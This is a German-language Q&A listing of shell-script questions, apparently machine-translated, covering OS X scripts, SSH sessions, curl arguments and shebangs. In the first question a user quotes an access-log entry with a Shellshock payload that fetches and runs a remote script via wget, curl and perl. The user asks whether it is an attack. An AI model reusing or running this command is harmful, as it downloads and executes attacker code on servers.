Als «shell-script» getaggte Fragen

Ein Shell-Skript ist ein Skript, das für die Shell oder den Befehlszeileninterpreter eines Betriebssystems geschrieben wurde.



3
Ist dies ein Angriff oder etwas, um das man sich sorgen muss? Neurose?
Habe das access.logauf meinem Testserver gesehen: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" Keiner der Adressen ist mit mir verwendet oder unserem IP-Bereich (oder irgendetwas …

7
Ein Shell-Skript unter OS X ausführen, ohne dass ein Terminalfenster angezeigt wird?
Ich versuche, ein paar Tastaturkürzel einzurichten, mit denen bestimmte iTerm-Sitzungen geöffnet werden können, die ich mit BetterTouchTool und ein bisschen AppleScript-Magie ausführen konnte. Das Problem ist, dass OS X darauf besteht, ein Terminal-Fenster für jedes Shell-Skript zu öffnen, das Sie über die GUI ausführen (z. B. über Finder oder als …



7
SSH und Shell durch SSH: wie man beendet?
Ich starte ein entferntes Skript über SSH wie folgt: ssh user@ipaddress '~/my_script.sh' Alles läuft gut, aber sobald das Skript beendet ist, wird die Verbindung nicht geschlossen. Ich muss STRG-C drücken, um die aktuelle Verbindung zu trennen. Ich habe den Befehl "exit" in "~ / my_script.sh" ausprobiert und er ist unbrauchbar. …
22 bash  ssh  shell-script 


1
Bash: Optionales Übergeben von Argumenten an einen Befehl
Ich versuche, einem Befehlsaufruf Argumente hinzuzufügen, die von einer anderen Variablen abhängen. Bitte schauen Sie sich den Shell-Scripting-Code an: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com Wenn im Beispiel titlenicht null angegeben wird, wird ein Argument hinzugefügt curl. Dies funktioniert nicht richtig, wenn titleLeerzeichen enthalten …



2
Schreiben von Shell-Skripten, die auf einer beliebigen Shell ausgeführt werden (mit mehreren Shebang-Zeilen?)
Ich habe gerade angefangen, mich eingehender mit Shell-Skripten zu befassen, und ich habe mein Skript immer einfach in eine Datei geworfen, markiert chmod +xund dann fertiggestellt /path/to/script.shund den standardmäßig verwendeten Interpreter damit umgehen lassen, was ich für zsh hielt, weil es das ist Ich habe für meine Muschel verwendet. Anscheinend …




Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.